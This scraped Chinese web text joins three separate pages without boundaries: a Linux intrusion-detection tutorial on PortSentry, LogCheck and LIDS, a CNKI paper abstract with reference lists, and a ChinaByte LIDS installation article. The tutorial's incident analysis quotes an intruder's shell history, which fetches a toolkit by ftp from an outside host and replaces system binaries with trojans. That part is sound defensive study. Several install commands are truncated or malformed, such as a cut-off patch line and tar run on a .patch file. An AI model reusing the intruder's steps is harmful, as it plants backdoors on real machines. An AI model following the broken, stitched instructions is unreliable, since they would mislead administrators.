Linux入侵检测-红联Linux系统门户
您的位置：
&& 查看内容 － － －
Linux入侵检测
&&字号: &&&&(网友评论&2&条)&
这篇文章主要是关于适用于Linux的几种基于主机的入侵检测系统。特别的，我们将会覆
盖一些怎么安装这些软件包的要素，已经它们的用处和什么时候能够用到这些东西。
系统安全101
本文将为大家展示一些基础的系统安全知识。特别的，我假设很多常见的安全措施已经
被用来抵抗来自Internet对主机的入侵。这些安全措施主要是：
防火墙，确定了系统的来自Internet的用户对哪些TCP或者UDP端口有访问的权限。例如
：我们通过一些很简单的Web Server防火墙的规则设置，就可以确定这台机器只有用来
提供http服务的80端口向用户开放。
系统是不需要没有用处的守护进程的。例如：一个Web服务器一般只需要一个正在运行的
进程来服务Web页面。进程并不是就是和服务与Web页面相关联的，譬如RPC/Portmap服务
，NFS服务，X Font服务，DNS域名服务，其他外来的或者是没有什么用处的应用软件应
该被关掉或者是禁用。在Red Hat Linux的系统中，通常我们用一种运行等级的编辑器来
进行有关的设置，譬如我们可以用ntsysv 或者tksysv来禁用其中的那些没有要求的守护
通过编辑和修改/etc/inetd.conf可以屏蔽一些不用的端口。作为一个典型的默认值，我
们安装一个新的Linux系统的时候，/etc/inetd.conf默认的打开了很多端口。所有的系
统都应该通过编辑/etc/inetd.conf，删除或者是注释掉其中的一些行，用来禁用那些没
有用处的端口，这是最基本的系统安全行为。
警戒线（Lines of Defense）：
图解一、多层系统安全
这一部分，我们将讨论一个多层通道的系统安全问题。当其中一些安全层被破坏的时候
，很多安全层能够独立的应用来提供一些额外的防卫。图1就是一种多层结构的系统安全
图表中的每一层都会为自己的上一层提供额外的数据保护。例如：第一层是防火墙，如
果防火墙没有阻挡住外界的入侵尝试，那么第二层-端口守护程序就会提供额外的保护。
进一步，里面的安全系统是LIDS和LogCheck程序，在入侵尝试没有被第二层截获的时候
也会进行保护。
监控当前连接
防火墙后的第一防护层是用来监控当前与主机的连接尝试的软件包。端口守护程序包（
）提供了一些简洁和有用方式来完成这些
端口守护（PortSentry）程序的作用
端口守护程序的主要作用监控一些特殊的TCP/IP端口的活动情况。PortSentry监视并报
告一些端口的活动，其中的一种情况可能被选中，包括拒绝进一步的连接尝试。这是一
种很重要的防护措施，因为一般的黑客在入侵一个系统之前都会将会使用一些工具来探
测系统的漏洞和弱点。察觉到探测器或者是端口扫描，就可以彻底的切断一些潜在地黑
客进一步的连接尝试，中止一些带有入侵意图的进一步的端口扫描。
安装PortSentry
对于Red Hat的用户来说，Red Hat的ftp服务器上的RPM包里面包含了这个程序。这个站
点在全球都有它的镜像，你可以在上面查找距离你最近的站点。我还不
能确定.deb格式的软件包中间是PortSentry这样的程序，但是我可以确认那里肯定是有
这个软件的。对于其他Linux用户来说，通过原码来安装这个软件也是相当地简单的。
PortSentry有很多运行模式，包括不同的UDP和TCP秘密运行的模式。我选择的运行机制
是把PortSentry绑定在那些没有被使用的或者是认为有潜在的入侵可能的TCP端口上。例
如：我将24小时连续的扫描我的web服务器上面的这些端口，port 143 (imap2), port
111 (portmap) 和port 23 (telnet)都是我的Internet系统上没有使用的TCP端口。你可
以通过这条命令：
portsentry -tcp
在你的系统启动的时候就使PortSentry进入基本的TCP运行模式。同时要保证PortSentr
y的配置文件portsentry.conf中包含了TCP_PORTS这行配置来扫描你需要进行扫描的端口
你能通过portsentry.conf中的"Response Options"部分来详细的说明什么样的反应是P
ortSentry察觉了一些不期望的连接。通常我会使用ipchains来中断那些来自于连接的源
方的进一步连接。这个也可以通过portsentry.conf中下面这样一行来进行配置：
KILL_ROUTE="/sbin/ipchains -I input -s $TARGET$ -j DENY -l"
在接受来自高端口的扫描行为的时候，可以通过删除上面一行中的-l这个选项来屏蔽这
些进一步的连接，可以有效的维持系统日志空间。
监视系统日志
诸如防火墙系统、PortSentry这样的软件可以有效的监视或者是屏蔽一些端口的不期望
的连接。这样可以防止最典型的那种"扫描－入侵"的攻击方式。
当系统需要运行特殊的服务（例如：Apache Web Server，或者是绑定了一个DNS服务）
的时候，同时有黑客破解了这种服务中的一些攻击点，这些程序就会很不幸运的不能保
持把所有的入侵者拒之门外。绑定运行着一个容易受攻击的程序的DNS服务器，这些端口
最终总是要被一些黑客通过扫描很广范围的机器的特定的一个端口，并且会试图通过这
个端口来入侵系统。很不幸，防火墙或者是PortSentry程序会将这些入侵尝试当作正常
的合理的连接。
系统日志检测（LogCheck）
LogCheck是用来扫描系统日志文件的软件（
/ ）。LogCheck会扫描系统日志文件（在Linux系统中，系统日志文件在/var/log/目录下
面），同时当系统出现一些异常的时候，LogCheck就会通过Email来通报给管理员。系统
日志文件中的异常的消息通常是表示有一些黑客正在尝试入侵或者是正在侵入系统。
安装LogCheck
LogCheck有四个主要的配置文件。在RPM版本中，这几个配置文件在/etc/logcheck目录
下面。通常我们只需要配置logcheck.ignore和logcheck.violations.ignore这两个文件
。我在安装完LogCheck后的程序一般是这样的：
允许LogCheck在正常的运行模式下面运行一次，这样将会一个巨大的输出文件，不过我
们可以把这个文件删除算了。
24小时以后让LogCheck再次运行一次，这次我们会在日志文件的入口处中发现产生了一
些新的东西，同时也是一个很大的但是仍然可以计算大小的文件。仔细的阅读这个文件
在文件的入口处有一些不需要我们关心的特定的字符串，如果这些字符串时一些"违反安
全"的片断，我们可以将这些字符串片断加入到logcheck.violations.ignore文件中；或
者当他们是"异常系统事件"的时候，我们就将这些字符串加到logcheck.ignore中。
在折椅歌星期中，每隔12~24小时就重复一下这些步骤。在这个阶段中，我们反复的设置
.ignore文件的过滤规则，最后剩下的就是我们的系统真正关心的了。
注意到RPM文件指定LogCheck每小时运行一次，但是我只需要每天运行一次，除非是在特
定的需要监视的系统。这样可以每天把/etc/cron.hourly/logcheck这个文件拷贝到/et
c/cron中一次。
基于内核的入侵检测
基于内核的入侵检测是一种相当巧妙的新型的Linux入侵检测系统。现在最主要的基于内
核的入侵检测系统叫做LIDS，并可以从 下载。
什么是LIDS？
LIDS是一种基于Linux内核的入侵检测和预防系统。
LIDS的保护目的是防止超级用户root的篡改系统重要部分的。LIDS主要的特点是提高系
统的安全性，防止直接的端口连接或者是存储器连接，防止原始磁碟的使用，同时还要
保护系统日志文件。LIDS当然也会适当制止一些特定的系统操作，譬如：安装sniffer、
修改防火墙的配置文件。
LIDS文档工程
LIDS比安装PortSentry和LogCheck要复杂一点，但是很幸运的是，在LIDS的主页上面有
详细的安装和配置手册。
首先，在安装之前，我们需要大部分最新的LIDS软件包（我使用的是0.9）和适当的内核
版本。我现在使用的是从Red Hat主页上下载的2.2.14-12版本的内核，因为其中包含一
些安全补丁。同时你也需要你使用的内核的一些源代码。
现在的LIDS主要是适用于2.2.14版本的内核。我安装的在2.2.14的内核的Red Hat Linu
x6.2上面安装了LIDS。在安装LIDS之前，我在下载了最新的内核版本，
de.html 安装了这个内核。
接着的事情就是升级内核源代码。这里我们是这样做的：
rpm -Uhv kernel-source-2.2.14-12.i386.rpm
然后就是编译和安装lidsadm这个程序：
cd /usr/local/src/security/lids-0.9/lidsadm-0.9
make install
生成一个RipeMD-160口令，这个以后将会在安装进内核的：
lidsadm -P
输入口令是"anypass"，得到秘钥"d502d92bfead11d1efa"。
接着，我把Redhat的配置文件拷贝到我的结构体系中，在/usr/src/linux目录下面：
cd /usr/src/linux/configs/
cp kernel-2.2.12-i686.config ..
下面我们就使用下面的命令来安装LIDS：
cd /usr/src
patch -p0 同时我们应该注意到Red Hat所提供的内核和Linus发布的标准的2.2.14版本的内核有一
些细微的差别，因为其中包含一些修改过的驱动程序。同样lids-0.9-2.2.14-redhat.p
atch文件也是和LIDS发布的标准的lids-0.9-2.2.14.patch有一些细微的差别，不过可能
后者并不是特别适合于Red Hat系统。
最后，就是配置、编译和安装内核了：
cd /usr/src/linux
make menuconfig
make clean
make modules_install
下面的脚本展示了在配置内核的过程中我设置的LIDS配置选项：
Linux Intrusion Detection System support (EXPERIMENTAL)
--- LIDS features
[ ] Hang up console when raising a securit alert
Security alert when execing unprotected programs before sealing
[ ] Do not execute unprotected programs before sealing LIDS
Enable init children lock feature
Try not to flood logs
(60) Authorised time between two identic logs (seconds)
Allow switching LIDS protections
RipeMD-160 encrypted password: d502d92bfead11d1efa
(3) Number of attempts to submit password
(3) Time to wait after a fail (seconds)
Allow remote users to switch LIDS protections
[ ] Allow any program to switch LIDS protections
Allow reloading config. file
[ ] Hide some known processes
Port Scanner Detector in kernel
[ ] Send security alerts through network
--- Special authorizations
[ ] Allow some known processes to access /dev/mem (xfree, etc.)
[ ] Allow some known processes to access raw disk devices
[ ] Allow some known processes to access io ports
[ ] Allow some known processes to change routes
--- Special UPS
Allow some known processes to unmount devices
Allowed processes: "/etc/rc.d/init.d//etc/rc.d/init.d/netfs"
Unmounting capability is inherited
Allow some known processes to kill init children
Allowed processes: "/etc/rc.d/init.d/halt"
Killing capability is inherited
看得出，我没有使用UPS，同时运行的是一个需要能够远程访问的服务器，我就按照上面
的文件进行了配置，但是在实际应用过程中，每个人的系统根据环境不一样，会有一些
有一条特别要引起注意：在你的系统的下一次重启之前就应该配置好LIDS！
我们应该使用lidsam来配置LIDS的配置文件/etc/lids.conf，而不能手动的修改。运行
"lidsadm -h"可以获得一些关于如何使用lidsadm这个程序的帮助。LIDS提供了很多使用
LIDS保护文件的例子，例如：
lidsadm -A -r /sbin 这条命令保护/sbin整个目录，并且表示只读。
我首先的LIDS配置文件应该是这样的：
lidsadm -Z
lidsadm -A -r /usr/bin
lidsadm -A -r /bin
lidsadm -A -r /usr/sbin
lidsadm -A -r /sbin
lidsadm -A -r /usr/X11R6/bin
lidsadm -A -r /etc/rc.d
lidsadm -A -r /etc/sysconfig
一旦配置了LIDS的配置文件，就应该修改系统的启动文件保证在系统启动的时候就能运
行LIDS，这样就能有效的在内核中启动LIDS的作用。一般我都是把lidsadm加到/etc/rc
.d/rc.local的末尾，这样能够保证LIDS的功能不会妨碍系统的其他应用程序的正常启动
。下面就是我加在/etc/rc/d/rc.local中用来启动LIDS的脚本：
/sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN
-CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE
+INIT_CHILDREN_LOCK
我们知道，使用Redhat的RPMS升级系统内核以后需要重新配置lilo.conf来保证编译加载
过LIDS的新内核能够正常的启动。在下次重启之后，LIDS将会在系统中运行，不过如果
你需要停止LIDS而执行一些系统的任务，就应该按照下面的命令进行：
/sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL
你需要提供LIDS的口令，当时在编译内核的时候在内核中加入了RipeMD-160格式。
不知道你是否注意到了，在shutdown的脚本中，很多脚本都不能正常的工作。最终的sh
utdown脚本/etc/rc.d/init.d/halt将会停止所有的进程和卸载文件系统。由于在文件r
c.local中 "+INIT_CHILDREN_LOCK"的保护作用，其他的进程都没有权限来杀掉init()的
其他子进程。同时每隔10分钟，你就会收到一个关于"rmmod as"不能卸载模块的出错信
息。这个主要是由于LIDS启动以后"-CAP_SYS_MODULE"的保护使得模块的插入或者卸载出
现了毛病。我们可以删除/etc/cron.d/kmod这个文件来防止出错信息继续发生。
LIDS能够保护什么？
快速的浏览LIDS的文档就可以了解LIDS的一系列特性。而我认为下面的这些特性是最重
CAP_LINUX_IMMUTABLE 当文件和外那间系统被标识"immutable"防止被写；
CAP_NET_ADMIN 防止篡改网络配置（例如：防止路由表被修改）；
CAP_SYS_MODULE 防止内核模块被插入或者移除；
CAP_SYS_RAWIO 防止损坏磁盘或者设备I/O；
CAP_SYS_ADMIN 防止大范围的使用其他系统功能；
INIT_CHILDREN_LOCK which prevents child processes of the init() master pro
cess from being tampered with.
无论在哪个点，上面这些特性都能够通过命令"lidsadm -I"来启动，通过"lidsadm -S"
来禁用（可以允许真正的系统管理员来进行系统配置），同时提供已经安装在内核中的
LIDS口令（是通过RipeMD-160加密的）。
剖析一次入侵
最近我一直忙于检查一些被黑过的机器，来推断一些被入侵的原因还有核实黑客对系统
破坏。很幸运，一些黑客不是特别的聪明，在入侵一些系统之后没有设法彻底的抹掉痕
迹。当黑客把一些系统守护进程的缓冲区溢出以后就可以获得root权限，这个时候就是
主机被入侵了（事实上是不可能发生的，但是安装Linux系统的人忘记了打上RedHat最新
的关于缓冲区溢出的补丁程序，并且让系统一直运行着）。当然一些黑客也不够小心，
当他们侵入主机后，很急切的获得了shell，但是他们经常没有考虑到BASH的命令将会被
存入系统日志文件中，简单的阅读/.bash_history就可以了解黑客到底怎么机器上面作
了一些什么事情。这个文件我们可以看看（为了更加简单我们做过一些细微的修改）：
mkdir /usr/lib/... ; cd /usr/lib/...
ftp 200.192.58.201 21
cd /usr/lib/...
mv netstat.gz? netstat. mv ps.gz? ps. mv pstree.gz? pstree.
mv pt07.gz? pt07. mv slice2.gz? slice2. mv syslogd.gz? syslogd.
mv tcpd.gz? tcpd.gz
chmod +x *
mv netstat / mv ps / mv tcpd /usr/sbin/; mv syslogd /usr/
mv pt07 /usr/lib/; mv pstree /usr/
/usr/lib/pt07
/usr/lib/pt07
/usr/sbin/syslogd
/usr/sbin/tcpd
/bin/netstat
/usr/bin/pstree
cat /etc/inetd.conf | grep -v 15678 >> /tmp/b
mv /tmp/b /etc/inetd.conf
killall -HUP inetd
通读这些内容，我们就可以了解下面的一些动作：
系统中建立了一个名字异常的目录（/usr/lib），接着黑客telnet到了自己的主机上面
（200.192.58.201，是Brazil某个地方的拨号用户），同时下载了一套黑客工具。这些
黑客工具尸没有经过压缩的，中间的一些特洛伊二进制程序被安装到了系统中了，这些
特洛亦程序覆盖了系统的netstat，ps， tcpd， syslogd和pstree命令。这些程序是用
来报告系统有那些进程正在运行，那些端口是打开的。
我们从中能学到什么呢？
首先，LIDS是不能阻止一次入侵的，黑客连接上主机通过缓冲区溢出的方式获得系统的
root权限。
一旦系统没有黑客入侵，我们看看LIDS是如何使破坏降到最低的：
LIDS通过CAP_LINUX_IMMUTABLE选项可以防止特洛亦程序被写入到/bin，/usr/bin， /u
sr/sbin和/usr/lib目录中。这些目录我们一般都会标识为不可变的（chattr +i），因
而也不会被修改。我们可以注意到，就算不使用LIDS，也可以通过chattr +I命令来标识
目录为不可变的，但是如果是通过LIDS以后，即使是root也不能篡改不可变标识位。类
似的，如果文件通过chattr +I被标识为，touck -t这个命令也会失败。甚至第一行的"
mkdir /etc/lib"这个命令也会失败，如果我们标识文件为不可读的话。
LIDS不能防止黑客入侵，但是可以防止入侵的黑客在侵入后进行很大的系统破坏。一个
后门程序可以被安装上系统，但是没有特洛亦版本的ps，netstat和pstree能够很早的发
现这个后门进程，然后kill之。如果没有LIDS，我们不可能知道黑客通过这个后门程序
会做一些什么事情，我们唯一能够进行挽回的工作就是重装系统。
OpenWall和LIDS：额外的层
另外一个和LIDS相似的系统是OpenWall工程（ ）。Op
enWall工程在很多地方和LIDS不一样，有一个OpenWall的特别的补丁就是使栈区为不可
执行。下面是摘自OpenWall的README文档里面的申明：
大多数缓冲区溢出攻击都是基于覆盖一些随意的程序片段中的函数返回值在堆栈中的地
址，如果堆栈为不可执行，那么缓冲区溢出的弱点将会变得很难攻击。另外一种缓冲区
溢出的方式是在libc中指出一个函数的返回地址，通常是system()。这个补丁通过修改
mmap()化的共享库，使其总是一个零字节的文件。这样使其不能再指定一些数据，在很
多攻击中不得不使用ASCIIZ字符串。
最近，在LIDS的网上上有一些完整的LIDS＋OpenWall的内核补丁，这样可以提供LIDS和
OpenWall都具备的特性。
在Linux系统中，通过使用这一系列的多层的安全措施，可以防止很大范围的攻击，同时
还可以防止入侵或者篡改。系统被黑客入侵口就是网络接口，在网络接口，系统内核上
我们都可以防止他人的入侵。
意识到系统中的一些潜在的安全漏洞。任何运行在系统上的守护进程或者服务，不管是
root用户还是非root用户运行的，都能够成为一个潜在的安全威胁。充分准备好面对这
*******************************************************************************
此文件是从，网上转载的，大家在学习与使用过程中，大家要注意，备份重要的数据，小心在使用学习过程中，出现问题或错误，让大家损失。
作者: caldo&发布日期:
做好安全工作
作者: cryboy&发布日期:
有空好好做做
共有评论数 2/每页显示数 10
发表评论，与各位同人交流。回复请点击下方的我要评论按钮(游客可回复)，要发表贴子请点击
Linux教程下载？“”（请点击），Linux教程免费下载。
求助Linux问题？论坛有39版块，覆盖所有Linux技术层面。前往“”
　|　　|　　|　　|　　|　　|　　|　　|　　|　　|　　|　　|　
&2015 红联 Powered by SupSite基于人工智能的Linux网络入侵检测系统的设计--《第三届全国软件测试会议与移动计算、栅格、智能化高级论坛论文集》2009年
基于人工智能的Linux网络入侵检测系统的设计
【摘要】：随着网络技术的发展,网络入侵的手段也越来越复杂。网络入侵检测系统是属于主动的网络安全防御体系,是保证网络安全的有效手段。把人工智能的方法引入到网络入侵检测系统的设计中,设计出了一个Linux系统下的网络入侵检测系统,并对系统的每个功能模块的实现作了介绍。基于人工智能的入侵检测系统具有高效率,智能化的特点。
【作者单位】：
【关键词】：
【分类号】：TP393.08【正文快照】：
随着网络技术的飞速发展,网络的安全问题也日渐严峻。为了保护系统的安全,人们利用网络防火墙、密码技术、身份认证等措施防止黑客的入侵。但这些被动的防御措施也暴露出很多技术的不足,于是,就提出了主动的网络安全防御体系,网络入侵检测系统就是这种体系的典型代表。Linux
欢迎：、、)
支持CAJ、PDF文件格式，仅支持PDF格式
【参考文献】
中国期刊全文数据库
万玛宁;关永;;[J];微计算机信息;2006年05期
【共引文献】
中国期刊全文数据库
张月琴;李强;;[J];电脑开发与应用;2007年05期
方文平;;[J];电脑知识与技术(学术交流);2007年14期
刘红民;;[J];电脑知识与技术(学术交流);2007年16期
申锐;;[J];电脑开发与应用;2007年12期
张里;彭小峰;;[J];重庆工学院学报(自然科学版);2008年08期
王国君;岳志强;;[J];广西轻工业;2008年07期
衣治安;李楠;彭敏;;[J];大庆石油学院学报;2006年01期
熊伟程;杨世平;;[J];计算机安全;2008年11期
闫琰;;[J];电脑知识与技术;2008年12期
宋平平;;[J];安徽工程科技学院学报(自然科学版);2006年03期
中国重要会议论文全文数据库
申红婷;;[A];中国电子学会第十五届信息论学术年会暨第一届全国网络编码学术年会论文集（上册）[C];2008年
秦子燕;赵曾贻;;[A];2007北京地区高校研究生学术交流会通信与信息技术会议论文集（上册）[C];2008年
钱田芬;周健;洪艳;任廷;;[A];计算机技术与应用进展·2007——全国第18届计算机技术与应用（CACIS）学术会议论文集[C];2007年
中国博士学位论文全文数据库
张亚平;[D];天津大学;2005年
中国硕士学位论文全文数据库
朱禄;[D];中国地质大学（北京）;2009年
张丹;[D];吉林大学;2009年
李城;[D];西安电子科技大学;2006年
陈旭;[D];长沙理工大学;2008年
袁荣亮;[D];西安科技大学;2008年
刘洁;[D];中南大学;2008年
贾文慧;[D];湖南科技大学;2008年
张乐;[D];中国海洋大学;2008年
殷美玉;[D];中国海洋大学;2008年
轩松生;[D];华中农业大学;2008年
【二级参考文献】
中国期刊全文数据库
唐旭辉,方勇;[J];微计算机信息;2005年01期
【相似文献】
中国期刊全文数据库
时瑞;[J];铁路计算机应用;2005年03期
王涛,徐健;[J];重庆建筑大学学报;2005年01期
张军;王建华;刘禹麟;;[J];计算机科学;2005年07期
刘硕;;[J];网络安全技术与应用;2007年02期
龚成清;;[J];教育信息化;2005年15期
,高会生;[J];信息安全与通信保密;2005年03期
楼亮;薛质;;[J];信息安全与通信保密;2007年06期
张亚东;杜浩阳;;[J];光盘技术;2006年02期
武装;[J];电信科学;2004年02期
王亚楠;刘方爱;;[J];计算机技术与发展;2006年01期
中国重要会议论文全文数据库
盛思源;战守义;毛剑;;[A];第六届全国计算机应用联合学术会议论文集[C];2002年
盛思源;于广浚;李玮;;[A];网络安全技术的开发应用学术会议论文集[C];2002年
李衍达;;[A];首届全国功能神经影像学和神经信息学研讨会论文汇编[C];2003年
吕金锁;王慧强;;[A];2006北京地区高校研究生学术交流会——通信与信息技术会议论文集（下）[C];2006年
林国庆;王新梅;;[A];2006北京地区高校研究生学术交流会——通信与信息技术会议论文集（下）[C];2006年
沈显庆;罗抟翼;;[A];全面建设小康社会：中国科技工作者的历史责任——中国科协2003年学术年会论文集（下）[C];2003年
曹鸿兴;谷湘潜;封国林;陈国范;;[A];大气科学发展战略——中国气象学会第25次全国会员代表大会暨学术年会论文集[C];2002年
刘辉兰;李陶深;葛志辉;;[A];广西计算机学会2005年学术年会论文集[C];2005年
陈东义;;[A];1999年中国智能自动化学术会议论文集（下册）[C];1999年
雒群;刘秋实;;[A];第11届全国计算机在现代科学技术领域应用学术会议论文集[C];2003年
中国重要报纸全文数据库
本报实习记者
郭凯;[N];大众科技报;2009年
Viola　编译;[N];第一财经日报;2008年
应向荣;[N];中国计算机报;2002年
陈长松;[N];中国计算机报;2002年
张梦然;[N];科技日报;2009年
沈建苗　编译;[N];计算机世界;2009年
记者叶书宏;[N];人民日报;2002年
;[N];中国计算机报;2004年
书宏;[N];北京科技报;2002年
;[N];中国计算机报;2004年
中国博士学位论文全文数据库
梁义维;[D];太原理工大学;2005年
刁心宏;[D];东北大学;2001年
陈树伟;[D];西南交通大学;2006年
曹海鹏;[D];吉林大学;2005年
潘文杰;[D];西南大学;2006年
王洪春;[D];重庆大学;2005年
霍利民;[D];华北电力大学（河北）;2005年
沈文武;[D];重庆大学;2005年
朱名日;[D];中南大学;2004年
仝秋红;[D];长安大学;2004年
中国硕士学位论文全文数据库
朱海霞;[D];大连海事大学;2006年
王秀芳;[D];山东科技大学;2005年
谢怡宁;[D];哈尔滨理工大学;2005年
洪淼;[D];福州大学;2005年
黄丽场;[D];四川大学;2003年
李红霞;[D];燕山大学;2006年
廖剑锋;[D];华中科技大学;2005年
湛高峰;[D];北方工业大学;2009年
智峰;[D];北京化工大学;2006年
李莹;[D];电子科技大学;2005年
&快捷付款方式
&订购知网充值卡
400-819-9993
《中国学术期刊（光盘版）》电子杂志社有限公司
同方知网数字出版技术股份有限公司
地址：北京清华大学 84-48信箱 知识超市公司
出版物经营许可证 新出发京批字第直0595号
订购热线：400-819-82499
服务热线：010--
在线咨询：
传真：010-
京公网安备75号比特客户端
您的位置：
详解大数据
详解大数据
详解大数据
详解大数据
企业Linux主机入侵检测及防御实战（一）
关键字：LIDS Linux操作系统 开源 强制访问控制 系统安全
　　在实际的检测及防御体系的构建中，有的以网络为主，进行网络威胁的发现和封堵;有的以主机防御为主，主要保证主机不遭受入侵。如果光针对其中一方面进行构建的话，则会存在偏差，建议综合多方面的信息，进行纵深的综合性防御，这样才能起到很好的效果。
　　在开源系统中，例如，从应用到内核层面上提供了3种入侵检测系统来对网络和主机进行防御，它们分别是网络入侵检测系统Snort、主机入侵检测系统LIDS以及分布式入侵检测系统SnortCenter。其中，Snort专注于在网络层面进行入侵检测;LIDS则侧重于在主机层面进行入侵检测和防御;SnortCenter则是为了在分布式环境中提升入侵检测的实时性和准确性的一种分布式检测机制。
　　在企业的实际应用过程中，经常会忽略LIDS的特殊作用。其实，作为植根于内核层次的主机入侵检测机制，它是开源系统作为主机尤其是不可缺少的安全机制。本文将详细介绍如何使用它进行逐级安全防御。
　　LIDS是Linux下的入侵检测和防护系统，是Linux内核的补丁和安全管理工具，它增强了内核的安全性，它在内核中实现了参考监听模式以及强制访问控制(Mandatory Control)模式。区别于本文在前面部分介绍的Snort入侵检测系统，它属于网络范畴，而LIDs则属于主机IDS范畴。
　　一般来说，LIDS主要功能包括如下几方面：
　　重要系统资源保护：保护硬盘上任何类型的重要文件和目录，如/bin、/sbin、/usr/bin、/usr/sbin、/etc/rc.d等目录和其下的文件，以及系统中的敏感文件，如passwd和shadow文件，防止未被授权者(包括root用户)和未被授权的程序进入。保护重要进程不被终止，任何人包括root也不能杀死进程，而且可以隐藏特定的进程。防止非法程序的I/O操作，保护硬盘，包括MBR保护等等。
　　入侵检测：LIDS可以检测到系统上任何违反规则的进程。
　　入侵响应：来自内核的安全警告，当有人违反规则时，LIDS会在控制台显示警告信息，将非法的活动细节记录到受LIDS保护的系统log文件中。LIDS还可以将log信息发到用户的信箱中。并且，LIDS还可以马上关闭与用户的会话。
　　安装LIDS
　　第一步：打补丁并配置Linux内核选项安装
　　LIDS通常需要下载其最新版本的LIDS内核补丁包，然后进行安装。下载的网站为：http://www.lids.org/，目前网站上的最新版本为：lids-2.2.3rc7-2.6..patch。首先将下载的LIDS内核补丁包保存到/usr/src目录下，然后以根用户的权限进入命令行模式进行如下步骤地操作：
　　(1)假设系统内核文件在/usr/src/Linux目录下，通过下列命令安装LIDS内核补丁包：
　　# cd /usr/src/Linux
　　# patch p1 & /usr/src/ lids-2.2.3rc7-2.6.28.patch
　　(2)编辑内核，选取相关选项：
　　//进入编辑内核界面
　　# make menuconfig
　　进入内核编译菜单界面后，建议把有关LIDS的所有项都选中。这样做的目的能让不太熟悉内核编译的用户能省去很多不必要的麻烦，并且将所有的LIDS项都选择上也不会占用多少的内核空间，对加入LIDS后的内核性能也不会产生多少的影响。下面对一些选项进行解释：
　　Prompt for development and/or incomplete code/drivers
　　Sysctl support
　　Linux Intrusion Detection System support.
　　[ ] Hang up console when raising a security alert
　　当收到一个安全警告挂起控制台
　　[ ] Security alert when execing unprotected programs before sealing LIDS
　　当执行没有受LIDS保护的程序时发送安全警告
　　[ ] Do not execute unprotected programs before sealing LIDS
　　在安装LIDS前不执行没有受保护的程序
　　[ ] Try not to flood logs
　　尽量不要让日志溢出
　　[ ] Allow switching LIDS protections
　　允许转换LIDS保护
　　[ ] Allow remote users to switch LIDS protections
　　允许远程用户来转换LIDS保护
　　[ ] Allow any program to switch LIDS protections
　　允许任何程序来转换LIDS保护
　　[ ] Allow reloading config. File
　　允许重新引导配置文件
　　[ ] Port Scanner Detector in kernel
　　内核的端口扫描器
　　[ ] Send security alerts through network
　　通过网络发送安全警告
　　[ ] Hide klids kernel thread
　　隐藏内核进程
　　[ ] Use generic mailer pseudo-script
　　使用通用的邮件发送脚本
　　(3)在选择好要加入到内核中的LIDS项后，就可以通过下列命令重新编译内核：
　　# make dep
　　# make clean
　　# make bzImage
　　# make modules
　　# make modules_install
　　完成上述内核编译工作后，一个加入了LIDS的内核就重新编译好了。要使加入了LIDS的新内核工作，必需重新启动系统。
　　第二步：源代码安装LIDS工具包
　　同样，首先从上述网站上下载LIDS工具包的安装文件，目前网站上的最新版本为：lids-2.3.rc7-2.6.28.patch，然后按如下步骤安装它：
　　(1)解压缩源码包
　　# tar -zxvf lids-2.3.rc7-2.6.28.patch
　　(2)切换目录并生成makefile文件
　　# cd lids-2.3.rc7-2.6.28
　　# ./configure
　　(3)安装
　　# make
　　# make install
　　这样就会将Lidsadm和Lidsconf这两个工具安装到/sbin/目录中，同时会创建一个/etc/lids的目录，并会在此目录下生成一个默认的配置文件。
[ 责任编辑：宋迪 ]
HPE Octane为开发者和…
甲骨文的云战略已经完成第一阶段…
软件信息化周刊
比特软件信息化周刊提供以数据库、操作系统和管理软件为重点的全面软件信息化产业热点、应用方案推荐、实用技巧分享等。以最新的软件资讯，最新的软件技巧，最新的软件与服务业内动态来为IT用户找到软捷径。
商务办公周刊
比特商务周刊是一个及行业资讯、深度分析、企业导购等为一体的综合性周刊。其中，与中国计量科学研究院合力打造的比特实验室可以为商业用户提供最权威的采购指南。是企业用户不可缺少的智选周刊！
比特网络周刊向企业网管员以及网络技术和产品使用者提供关于网络产业动态、技术热点、组网、建网、网络管理、网络运维等最新技术和实用技巧，帮助网管答疑解惑，成为网管好帮手。
服务器周刊
比特服务器周刊作为比特网的重点频道之一，主要关注x86服务器，RISC架构服务器以及高性能计算机行业的产品及发展动态。通过最独到的编辑观点和业界动态分析，让您第一时间了解服务器行业的趋势。
比特存储周刊长期以来，为读者提供企业存储领域高质量的原创内容，及时、全面的资讯、技术、方案以及案例文章，力求成为业界领先的存储媒体。比特存储周刊始终致力于用户的企业信息化建设、存储业务、数据保护与容灾构建以及数据管理部署等方面服务。
比特安全周刊通过专业的信息安全内容建设，为企业级用户打造最具商业价值的信息沟通平台，并为安全厂商提供多层面、多维度的媒体宣传手段。与其他同类网站信息安全内容相比，比特安全周刊运作模式更加独立，对信息安全界的动态新闻更新更快。
新闻中心热点推荐
新闻中心以独特视角精选一周内最具影响力的行业重大事件或圈内精彩故事，为企业级用户打造重点突出，可读性强，商业价值高的信息共享平台；同时为互联网、IT业界及通信厂商提供一条精准快捷，渗透力强，覆盖面广的媒体传播途径。
云计算周刊
比特云计算周刊关注云计算产业热点技术应用与趋势发展，全方位报道云计算领域最新动态。为用户与企业架设起沟通交流平台。包括IaaS、PaaS、SaaS各种不同的服务类型以及相关的安全与管理内容介绍。
CIO俱乐部周刊
比特CIO俱乐部周刊以大量高端CIO沙龙或专题研讨会以及对明星CIO的深入采访为依托，汇聚中国500强CIO的集体智慧。旨为中国杰出的CIO提供一个良好的互融互通 、促进交流的平台，并持续提供丰富的资讯和服务，探讨信息化建设，推动中国信息化发展引领CIO未来职业发展。
IT专家新闻邮件长期以来，以定向、分众、整合的商业模式，为企业IT专业人士以及IT系统采购决策者提供高质量的原创内容，包括IT新闻、评论、专家答疑、技巧和白皮书。此外，IT专家网还为读者提供包括咨询、社区、论坛、线下会议、读者沙龙等多种服务。
X周刊是一份IT人的技术娱乐周刊，给用户实时传递I最新T资讯、IT段子、技术技巧、畅销书籍，同时用户还能参与我们推荐的互动游戏，给广大的IT技术人士忙碌工作之余带来轻松休闲一刻。
微信扫一扫
关注Chinabyte